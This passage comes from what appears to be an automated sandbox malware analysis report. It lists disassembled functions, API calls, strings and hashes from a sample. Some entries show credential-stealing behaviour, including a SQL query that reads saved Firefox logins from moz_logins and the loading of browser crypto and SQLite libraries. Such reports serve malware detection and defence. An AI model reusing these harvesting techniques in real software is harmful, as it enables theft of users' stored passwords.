                                                                                                              • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 0040933D
                                                                                                                • Part of subcall function 00407BD1: SetFilePointer.KERNEL32(00409553,?,00000000,00000000,?,0040935E,00000000,00000000,?,00000020,?,004094E9,?,?,00409553,00000000), ref: 00407BDE
                                                                                                              • GetFileSize.KERNEL32(00000000,00000000), ref: 0040936D
                                                                                                                • Part of subcall function 0040928C: _memicmp.MSVCRT ref: 004092A6
                                                                                                                • Part of subcall function 0040928C: memcpy.MSVCRT ref: 004092BD
                                                                                                              • memcpy.MSVCRT ref: 004093B4
                                                                                                              • strchr.MSVCRT ref: 004093D9
                                                                                                              • strchr.MSVCRT ref: 004093EA
                                                                                                              • _strlwr.MSVCRT ref: 004093F8
                                                                                                              • memset.MSVCRT ref: 00409413
                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00409460
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$memcpystrchr$CloseCreateHandlePointerSize_memicmp_strlwrmemset
                                                                                                              • String ID: 4$h
                                                                                                              • API String ID: 4066021378-1856150674
                                                                                                              • Opcode ID: 5c9b1e76fbe1022800f84db5655dab790c3d9ef423dba09cd133e7d04b6bc347
                                                                                                              • Instruction ID: cde85974a53443ad19b2097b399cb4fe7e1f14935bf37b0ef0624c00476b394c
                                                                                                              • Opcode Fuzzy Hash: 5c9b1e76fbe1022800f84db5655dab790c3d9ef423dba09cd133e7d04b6bc347
                                                                                                              • Instruction Fuzzy Hash: 333186B1900118BEEB11EB54CC85BEE77ACEF04358F10406AFA08E6181D7789F558B69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411C63 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$_snwprintf
                                                                                                              • String ID: %%0.%df
                                                                                                              • API String ID: 3473751417-763548558
                                                                                                              • Opcode ID: 4b41fd37f03522ed39b57e73efbb1f6ad9b07295744d2b5ffc828d63613b1bc3
                                                                                                              • Instruction ID: 8dc9084977ea8e099579ef4c9ca95b08d60ceca6feee4e1064a0b0e4f5e47a8f
                                                                                                              • Opcode Fuzzy Hash: 4b41fd37f03522ed39b57e73efbb1f6ad9b07295744d2b5ffc828d63613b1bc3
                                                                                                              • Instruction Fuzzy Hash: 79313E71800229BAEB20DF55DC85FEBBBBCFF49308F4000EAB609A2151D7749B94CB65
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410DF5 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • wcschr.MSVCRT ref: 00410E0E
                                                                                                              • wcscpy.MSVCRT ref: 00410E1E
                                                                                                                • Part of subcall function 00407278: wcslen.MSVCRT ref: 00407287
                                                                                                                • Part of subcall function 00407278: wcslen.MSVCRT ref: 00407291
                                                                                                                • Part of subcall function 00407278: _memicmp.MSVCRT ref: 004072AC
                                                                                                              • wcscpy.MSVCRT ref: 00410E6D
                                                                                                              • wcscat.MSVCRT ref: 00410E78
                                                                                                              • memset.MSVCRT ref: 00410E54
                                                                                                                • Part of subcall function 00407723: GetWindowsDirectoryW.KERNEL32(00451698,00000104,?,00410EAD,?,?,00000000,00000208,?), ref: 00407739
                                                                                                                • Part of subcall function 00407723: wcscpy.MSVCRT ref: 00407749
                                                                                                              • memset.MSVCRT ref: 00410E9C
                                                                                                              • memcpy.MSVCRT ref: 00410EB7
                                                                                                              • wcscat.MSVCRT ref: 00410EC3
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
                                                                                                              • String ID: \systemroot
                                                                                                              • API String ID: 4173585201-1821301763
                                                                                                              • Opcode ID: a0bd60bd2b0e165453e177ad0a7c90215dc3e7af33d93e9088b0359243bc96d3
                                                                                                              • Instruction ID: 1a8d2db1a324573a28d88b24eeb1ed9c65cf0fc221c6a4ee7099d5d8ca3d40a6
                                                                                                              • Opcode Fuzzy Hash: a0bd60bd2b0e165453e177ad0a7c90215dc3e7af33d93e9088b0359243bc96d3
                                                                                                              • Instruction Fuzzy Hash: B121F9B280530479E621E7628D86EEB63EC9F05754F60455FF119E2082FABCA6C58B1E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040697E Relevance: 16.7, APIs: 10, Strings: 1, Instructions: 187stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00441975: memset.MSVCRT ref: 004419A0
                                                                                                                • Part of subcall function 00441975: wcscpy.MSVCRT ref: 004419B7
                                                                                                                • Part of subcall function 00441975: memset.MSVCRT ref: 004419EA
                                                                                                                • Part of subcall function 00441975: wcscpy.MSVCRT ref: 00441A00
                                                                                                                • Part of subcall function 00441975: wcscat.MSVCRT ref: 00441A11
                                                                                                                • Part of subcall function 00441975: wcscpy.MSVCRT ref: 00441A37
                                                                                                                • Part of subcall function 00441975: wcscat.MSVCRT ref: 00441A48
                                                                                                                • Part of subcall function 00441975: wcscpy.MSVCRT ref: 00441A6F
                                                                                                                • Part of subcall function 00441975: wcscat.MSVCRT ref: 00441A80
                                                                                                                • Part of subcall function 00441975: GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000104,00000000), ref: 00441A8F
                                                                                                                • Part of subcall function 00441975: LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,?,?,?,?,00000104,00000000), ref: 00441AA6
                                                                                                                • Part of subcall function 00441975: GetProcAddress.KERNEL32(?,sqlite3_open,?,00000104,00000000), ref: 00441AF3
                                                                                                                • Part of subcall function 00441975: GetProcAddress.KERNEL32(?,sqlite3_prepare,?,00000104,00000000), ref: 00441AFF
                                                                                                              • memset.MSVCRT ref: 004069BD
                                                                                                                • Part of subcall function 00407DC0: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,004028DC,?,?,00000003,00000000,00000000), ref: 00407DD9
                                                                                                              • memset.MSVCRT ref: 00406A3C
                                                                                                              • memset.MSVCRT ref: 00406A51
                                                                                                              • strcpy.MSVCRT(?,00000000,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00406AC4
                                                                                                              • strcpy.MSVCRT(?,?,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00406ADA
                                                                                                              • strcpy.MSVCRT(?,?,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00406AF0
                                                                                                              • strcpy.MSVCRT(?,?,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00406B06
                                                                                                              • strcpy.MSVCRT(?,?,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00406B1C
                                                                                                              • strcpy.MSVCRT(?,?,?,00000002,?,00000005,?,00000004,?,00000007,?,00000006,?,00000001), ref: 00406B32
                                                                                                              • memset.MSVCRT ref: 00406B48
                                                                                                              Strings
                                                                                                              • SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins, xrefs: 00406A03
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memsetstrcpy$wcscpy$wcscat$AddressProc$ByteCharHandleLibraryLoadModuleMultiWide
                                                                                                              • String ID: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins
                                                                                                              • API String ID: 2096775815-1740008135
                                                                                                              • Opcode ID: 8192c0fe8ba549a976583856fdff13a2ed89254f8bdc8aa75337d2af27a32240
                                                                                                              • Instruction ID: 0d09ea3875aa138d6f02baa8234f1932a31c53e7e6ecd19b10853a161b4d72d0
                                                                                                              • Opcode Fuzzy Hash: 8192c0fe8ba549a976583856fdff13a2ed89254f8bdc8aa75337d2af27a32240
                                                                                                              • Instruction Fuzzy Hash: 6D61E9B2C0421EEEDF11AF91DC419DEBBB8EF04314F10406BF505B2191EA79AA94CF69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00415EAF Relevance: 16.6, APIs: 11, Instructions: 88COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00414BCA: GetVersionExW.KERNEL32(?), ref: 00414BED
                                                                                                              • GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 00415EDB
                                                                                                              • malloc.MSVCRT ref: 00415EE6
                                                                                                              • free.MSVCRT(?), ref: 00415EF6
                                                                                                              • GetFullPathNameW.KERNEL32(00000000,-00000003,00000000,00000000), ref: 00415F0A
                                                                                                              • free.MSVCRT(?), ref: 00415F0F
                                                                                                              • GetFullPathNameA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 00415F25
                                                                                                              • malloc.MSVCRT ref: 00415F2D
                                                                                                              • GetFullPathNameA.KERNEL32(00000000,-00000003,00000000,00000000), ref: 00415F40
                                                                                                              • free.MSVCRT(?), ref: 00415F45
                                                                                                              • free.MSVCRT(?), ref: 00415F59
                                                                                                              • free.MSVCRT(00000000,0044A338,00000000), ref: 00415F78
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free$FullNamePath$malloc$Version
                                                                                                              • String ID:
                                                                                                              • API String ID: 3356672799-0
                                                                                                              • Opcode ID: 61acd55b7f6f74b1de7cfca591009593a893279d718121bcb2ed6df4730cb7d0
                                                                                                              • Instruction ID: 788494e2a8c2de429da1840323bde4c0a518de2f45811afbb62912a9d7d550b6
                                                                                                              • Opcode Fuzzy Hash: 61acd55b7f6f74b1de7cfca591009593a893279d718121bcb2ed6df4730cb7d0
                                                                                                              • Instruction Fuzzy Hash: F321CB71900108FFEB117FA5DD46CDFBBA9DF80368B20007BF404A2160EA785F809568
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407363 Relevance: 16.6, APIs: 11, Instructions: 59clipboardmemoryfileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • EmptyClipboard.USER32 ref: 0040736D
                                                                                                                • Part of subcall function 00407144: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407156
                                                                                                              • GetFileSize.KERNEL32(00000000,00000000), ref: 0040738A
                                                                                                              • GlobalAlloc.KERNEL32(00002000,00000002), ref: 0040739B
                                                                                                              • GlobalLock.KERNEL32 ref: 004073A8
                                                                                                              • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 004073BB
                                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 004073CD
                                                                                                              • SetClipboardData.USER32 ref: 004073D6
                                                                                                              • GetLastError.KERNEL32 ref: 004073DE
                                                                                                              • CloseHandle.KERNEL32(?), ref: 004073EA
                                                                                                              • GetLastError.KERNEL32 ref: 004073F5
                                                                                                              • CloseClipboard.USER32 ref: 004073FE
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleLockReadSizeUnlock
                                                                                                              • String ID:
                                                                                                              • API String ID: 3604893535-0
                                                                                                              • Opcode ID: ff4ef1d92d1a290ea301bbc8eaca8dcb04474945f762c75d88d1861bbfd53786
                                                                                                              • Instruction ID: 70226e125eefff96fe42492f97b8668800667adb6f1e94a7dd2fd5f696112ff0
                                                                                                              • Opcode Fuzzy Hash: ff4ef1d92d1a290ea301bbc8eaca8dcb04474945f762c75d88d1861bbfd53786
                                                                                                              • Instruction Fuzzy Hash: E311423A904204FBE7105FB5EC4DA5E7F78EB06B52F204176FD02E5290DB749A01DB69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004121F2 Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 50COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcscpy
                                                                                                              • String ID: AppData$Common Desktop$Common Programs$Common Start Menu$Common Startup$Desktop$Favorites$Programs$Start Menu$Startup
                                                                                                              • API String ID: 1284135714-318151290
                                                                                                              • Opcode ID: 765507c601b4d8d2ba7194c2d8328fe19790b608763020fa3010f04483565392
                                                                                                              • Instruction ID: 454bece2ea24cac32075296694d9d3cbfc4d611bf65854eebe1c10393ee0200f
                                                                                                              • Opcode Fuzzy Hash: 765507c601b4d8d2ba7194c2d8328fe19790b608763020fa3010f04483565392
                                                                                                              • Instruction Fuzzy Hash: 46F01D3329C746A0383D09680B06AFF1001E2127497B585D3A882E06D5C8FDCEF2F81F
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A16C Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
                                                                                                              • String ID: 0$6
                                                                                                              • API String ID: 4066108131-3849865405
                                                                                                              • Opcode ID: 1d39bbd5ff858052ee02b08f17fe13160222b35be18e4d09e9b30479f4b91e1d
                                                                                                              • Instruction ID: 34000a492db7a65727c4d20bf870b817f1c48c155544aae5e12c30b4e9d7c158
                                                                                                              • Opcode Fuzzy Hash: 1d39bbd5ff858052ee02b08f17fe13160222b35be18e4d09e9b30479f4b91e1d
                                                                                                              • Instruction Fuzzy Hash: 64318B72408340AFDB20DF91D845A9BB7E8FF84354F00497EF948A2291E37ADA14CB5B
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00403926 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52libraryloaderwindowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040E305,00000000), ref: 00403945
                                                                                                              • GetProcAddress.KERNEL32(00000000,InitCommonControlsEx,?,00000002,?,?,?,0040E305,00000000), ref: 00403957
                                                                                                              • FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040E305,00000000), ref: 0040396B
                                                                                                              • #17.COMCTL32(?,00000002,?,?,?,0040E305,00000000), ref: 00403979
                                                                                                              • MessageBoxW.USER32 ref: 00403996
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Library$AddressFreeLoadMessageProc
                                                                                                              • String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
                                                                                                              • API String ID: 2780580303-317687271
                                                                                                              • Opcode ID: 60c968a06818d841dc3f94f16557b2d6df9d0dbd22d8837fd1ebe6fbdb2c419c
                                                                                                              • Instruction ID: dc7e95600dee0bf6daca19896d95929b9e7fb1f9fe7c184dfd563e32ea829a14
                                                                                                              • Opcode Fuzzy Hash: 60c968a06818d841dc3f94f16557b2d6df9d0dbd22d8837fd1ebe6fbdb2c419c
                                                                                                              • Instruction Fuzzy Hash: 8501D1B67502117BE3111FB49C89B6B7EACDB42F4BB100139B502F2280DBB8CF05869C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040FABA Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 32COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetModuleHandleW.KERNEL32(nss3.dll,00000000,?,?,74EC48FD,0040FC10,?,?,?,?,?,00000000), ref: 0040FAC9
                                                                                                              • GetModuleHandleW.KERNEL32(sqlite3.dll,?,74EC48FD,0040FC10,?,?,?,?,?,00000000), ref: 0040FAD2
                                                                                                              • GetModuleHandleW.KERNEL32(mozsqlite3.dll,?,74EC48FD,0040FC10,?,?,?,?,?,00000000), ref: 0040FADB
                                                                                                              • FreeLibrary.KERNEL32(00000000,?,74EC48FD,0040FC10,?,?,?,?,?,00000000), ref: 0040FAEA
                                                                                                              • FreeLibrary.KERNEL32(00000000,?,74EC48FD,0040FC10,?,?,?,?,?,00000000), ref: 0040FAF1
                                                                                                              • FreeLibrary.KERNEL32(00000000,?,74EC48FD,0040FC10,?,?,?,?,?,00000000), ref: 0040FAF8
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FreeHandleLibraryModule
                                                                                                              • String ID: mozsqlite3.dll$nss3.dll$sqlite3.dll
                                                                                                              • API String ID: 662261464-3550686275
                                                                                                              • Opcode ID: d0d754f8fa980613d90b85c052ffa4ec5d0d6696dd4c8834489f6bf69c2357b0
                                                                                                              • Instruction ID: c5d69885cf2e3d5474ff6b38c23ba8038bf1212ac087c8b68f6824d90ef94812
                                                                                                              • Opcode Fuzzy Hash: d0d754f8fa980613d90b85c052ffa4ec5d0d6696dd4c8834489f6bf69c2357b0
                                                                                                              • Instruction Fuzzy Hash: 1AE0D816B0132E669E2067F16C44D1B7E5CC892AE53150037A904A32408DEC5C0599F8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00441FDC Relevance: 15.2, APIs: 8, Strings: 2, Instructions: 183COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy$memchrmemset
                                                                                                              • String ID: G"D$G"D
                                                                                                              • API String ID: 1581201632-2001841848
                                                                                                              • Opcode ID: 7575a319fd1e5a0cf748581ae524368e3baf011f309bc42e4df5649906151b93
                                                                                                              • Instruction ID: 18be241936230d761fb3e4c1ab226db0ef0f42d77396bda2a3194a4a2a5a8e65
                                                                                                              • Opcode Fuzzy Hash: 7575a319fd1e5a0cf748581ae524368e3baf011f309bc42e4df5649906151b93
                                                                                                              • Instruction Fuzzy Hash: CE51E671900219ABDB10EF65CD85EEEB7BCAF44304F44446BFA49D7141E778EA48CB64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407890 Relevance: 15.1, APIs: 10, Instructions: 103COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetSystemMetrics.USER32 ref: 004078A9
                                                                                                              • GetSystemMetrics.USER32 ref: 004078AF
                                                                                                              • GetDC.USER32(00000000), ref: 004078BC
                                                                                                              • GetDeviceCaps.GDI32(00000000,00000008), ref: 004078CD
                                                                                                              • GetDeviceCaps.GDI32(00000000,0000000A), ref: 004078D4
                                                                                                              • ReleaseDC.USER32(00000000,00000000), ref: 004078DB
                                                                                                              • GetWindowRect.USER32 ref: 004078EE
                                                                                                              • GetParent.USER32(?), ref: 004078F3
                                                                                                              • GetWindowRect.USER32 ref: 00407910
                                                                                                              • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 0040796F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Window$CapsDeviceMetricsRectSystem$MoveParentRelease
                                                                                                              • String ID:
                                                                                                              • API String ID: 2163313125-0
                                                                                                              • Opcode ID: 27c47932f92ae397c529d5322f361d1abbe154fe8b4fd6afae4dd3e0e48430fe
                                                                                                              • Instruction ID: 40da1e460122d0dbc2375826a99d02d2520f98ce936ed6642694246a0da552c1
                                                                                                              • Opcode Fuzzy Hash: 27c47932f92ae397c529d5322f361d1abbe154fe8b4fd6afae4dd3e0e48430fe
                                                                                                              • Instruction Fuzzy Hash: D3318176A00209AFDB04DFB8CC85AEEBBB9FB48351F150175E901F3290DA70AE418B50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040684F Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 96stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00406878
                                                                                                              • memset.MSVCRT ref: 0040688C
                                                                                                              • strcpy.MSVCRT(?), ref: 004068A6
                                                                                                              • strcpy.MSVCRT(?,?,?,?,?,?), ref: 004068EB
                                                                                                              • strcpy.MSVCRT(?,00001000,?,?,?,?,?,?), ref: 004068FF
                                                                                                              • strcpy.MSVCRT(?,?,?,00001000,?,?,?,?,?,?), ref: 00406912
                                                                                                              • wcscpy.MSVCRT ref: 00406921
                                                                                                              • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,?,?,?,?,?,?,?,?,Rp@,00406D64), ref: 00406948
                                                                                                              • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,?,?,?,?,?,?,?,?,Rp@,00406D64), ref: 0040695E
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcpy$ByteCharMultiWidememset$wcscpy
                                                                                                              • String ID: Rp@
                                                                                                              • API String ID: 4248099071-3382320042
                                                                                                              • Opcode ID: 671e59c8fe4c17755a702227dbfb0f671c225521712c780855f09c1fc1980107
                                                                                                              • Instruction ID: 073529020724e05d4964247b7c64433db30515fb9166064be710f6d7ccb76f44
                                                                                                              • Opcode Fuzzy Hash: 671e59c8fe4c17755a702227dbfb0f671c225521712c780855f09c1fc1980107
                                                                                                              • Instruction Fuzzy Hash: 653141B290011DBFDB20DA55CC84FEA77BCFF09358F0445AAB919E3141DA74AA588F68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00402B99 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 190COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free$wcslen
                                                                                                              • String ID:
                                                                                                              • API String ID: 3592753638-3916222277
                                                                                                              • Opcode ID: a6abcb691fd1dabd2973f99fa54c7fcc296b45a854174555a7bdb068922a3314
                                                                                                              • Instruction ID: 27dbad6a18cb5119fe9557e6abee58e32c1211c22f38b2cca10356837960f856
                                                                                                              • Opcode Fuzzy Hash: a6abcb691fd1dabd2973f99fa54c7fcc296b45a854174555a7bdb068922a3314
                                                                                                              • Instruction Fuzzy Hash: DA615770C0811AEBEF189F95E6895AEB771FF04305F60847FE442B62E0DBB84981CB59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A818 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 83windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadMenuW.USER32(?,?), ref: 0040A83F
                                                                                                                • Part of subcall function 0040A668: GetMenuItemCount.USER32(?), ref: 0040A67E
                                                                                                                • Part of subcall function 0040A668: memset.MSVCRT ref: 0040A69D
                                                                                                                • Part of subcall function 0040A668: GetMenuItemInfoW.USER32 ref: 0040A6D9
                                                                                                                • Part of subcall function 0040A668: wcschr.MSVCRT ref: 0040A6F1
                                                                                                              • DestroyMenu.USER32 ref: 0040A85D
                                                                                                              • CreateDialogParamW.USER32 ref: 0040A8AB
                                                                                                              • memset.MSVCRT ref: 0040A8C7
                                                                                                              • GetWindowTextW.USER32 ref: 0040A8DC
                                                                                                              • EnumChildWindows.USER32 ref: 0040A907
                                                                                                              • DestroyWindow.USER32 ref: 0040A90E
                                                                                                                • Part of subcall function 0040A497: _snwprintf.MSVCRT ref: 0040A4BC
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Menu$DestroyItemWindowmemset$ChildCountCreateDialogEnumInfoLoadParamTextWindows_snwprintfwcschr
                                                                                                              • String ID: caption
                                                                                                              • API String ID: 1928666178-4135340389
                                                                                                              • Opcode ID: 2a735e7d3e9f25f5000f535f47a02417f98db50f76fb95be89fb06d3c5800170
                                                                                                              • Instruction ID: 1ee1ed61ad6e464c94b1b5c04ceaba47984998c4c5bccbb9cf540d7a9e91c68f
                                                                                                              • Opcode Fuzzy Hash: 2a735e7d3e9f25f5000f535f47a02417f98db50f76fb95be89fb06d3c5800170
                                                                                                              • Instruction Fuzzy Hash: 4C21B472100314BBDB11AF50DC49BAF3B78FF45751F148436F905A5191D7788AA0CB6A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407CFE Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpywcslen$_snwprintfmemset
                                                                                                              • String ID: %s (%s)$G@
                                                                                                              • API String ID: 3979103747-4021399728
                                                                                                              • Opcode ID: f04d55ffe867956f13ff29a0b22ee26a635b57cfc1c306c95c53cfde12d0b5a1
                                                                                                              • Instruction ID: 7020ae682d4dad294ec7254b180182bae2c538f47323e789ebcab58d633c0506
